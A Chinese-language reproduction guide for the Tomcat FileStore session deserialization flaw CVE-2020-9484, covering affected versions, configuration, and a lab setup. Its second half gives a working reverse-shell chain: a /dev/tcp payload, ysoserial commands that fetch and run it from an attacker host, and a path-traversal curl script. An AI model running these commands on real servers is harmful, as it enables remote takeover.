Tomcat FileStore Session(CVE-2020-9484)持久化反序列化漏洞复现
漏洞版本
10.0.0-M1 - 10.0.0-M4
9.0.0.M1 - 9.0.34
8.5.0 - 8.5.54
7.0.0 - 7.0.103
漏洞原理
一、Attacker能够上载具有任意内容的文件/控制文件名,并且知道其上传的位置;
二、PersistentManager确认已启用,因为此配置在利用FileStore;
三、PersistentManager配置与sessionAttributeValueClassNameFilter="null"(默认下使用了SecurityManager)或者有足够宽的滤波器把攻击者发送的对象要被反序列化。
注意:在默认配置中,Tomcat运行时也开启StandardManager。
在某些情况下,管理员可以选择PersistentManager通过编辑conf/context.xml文件来配置使用。
讲一下什么是PersistentManager?
Tomcat使用“ Manager”一词来描述进行会话管理的组件。会话用于保留客户端请求之间的状态,并且关于如何执行此操作有多个决策。例如:
会话信息存储在哪里?在内存还是磁盘上?
它以哪种形式存储?JSON,序列化对象等
会话ID如何生成?
我们要保留哪些会话属性?
Tomcat提供了两种可以使用的实现:
org.apache.catalina.session.StandardManager(默认)
org.apache.catalina.session.PersistentManager
比如standardManager会持续讲会话保存在内存中,但是当tomcat关闭时它将把会话存储在磁盘上的序列化对象中(SESSIONS.ser默认情况下命名为“ ”)。
和以上有一点不同,在PersistentManager启动(org.apache.catalina.session.PersistentManager)时,会话在容器重新启动后也会持续存在,它会保留在磁盘上,以便于进行恢复(实现容错)。此配置将较少交互使用的会话移出到磁盘,减少了保留在内存中的会话数(减少内存使用量)
当tomcat收到带有JSESSIONID、cookie的HTTP请求时,它将要求Manager查看该会话是否已经存在。它会先检入内存,然后再检查磁盘上是否不存在。当它在磁盘上找到会话时,将对其进行检索和反序列化以从中解析会话信息。
可以指定要存储交换的会话的位置和方式。Tomcat提供了两种选择:
FileStore
:指定磁盘上的目录,每个交换的会话将在该目录中存储为文件,其名称基于会话IDJDBCStore
:在数据库中指定一个表,每个交换的会话将在其中存储为单独的行
环境搭建与配置
环境:
操作系统Win10,JDK 11.0.8
配置:
1、在tomcat官网下载tomcat10.0.0-M4版本,解压后修改context.xml配置文件,在配置文件中添加以下标签开启session持久化功能:
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="C:/Users/hyx19/Downloads/"></Store>
</Manager>
当没有Manager
标签写入context.xml时
,默认下StandardManager
将被使用。
2、这里directory可以为任意路径,因为后面我们可以通过路径穿越来访问任意目录下的文件;
3、下载groovy-2.3.9.jar,放入tomcat的lib目录中,点击bin/startup.bat即可启动tomcat服务器。
注意:tomcat的默认端口是8080与burpsuite的默认代理端口冲突,如果被占用将启动失败,经常用burpsuite的童鞋记得关闭或者修改代理端口。
漏洞复现
一、首先使用ysoserial来生成恶意序列化数据
注意文件必须以.session结尾
二、执行命令
命令执行成功!
以上是一个漏洞介绍,由此我们也可以获取一个反向Shell,以取得更大的成果
一、创建一个Payload.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/<MY KALI IP>/6666 0>&1"
二、使用ysoserial,创建三个文件
1、下载 downloadPayload.session
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 'curl http://<MY KALI IP>/payload.sh -o /tmp/payload.sh' > downloadPayload.session
2、赋予操作 chmodPayload.session
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session
3、执行文件 executePayload.session
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 'bash /tmp/payload.sh' > executePayload.session
然后我们可以一个接一个地发出curl命令来执行三个操作,也可以做一个的bash脚本来自动执行这些操作。
curl.sh
#!/bin/bash
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload' -F 'image=@downloadPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload' -F 'image=@chmodPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload' -F 'image=@executePayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload'
当现在这个文件夹中有了这些文件后,我们在VPS上设置一个反向监听。
执行curl脚本,就会获得一个shell了。
由于是本地测试,呈现效果如下:
漏洞新闻来源:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484
https://tomcat.apache.org/security.html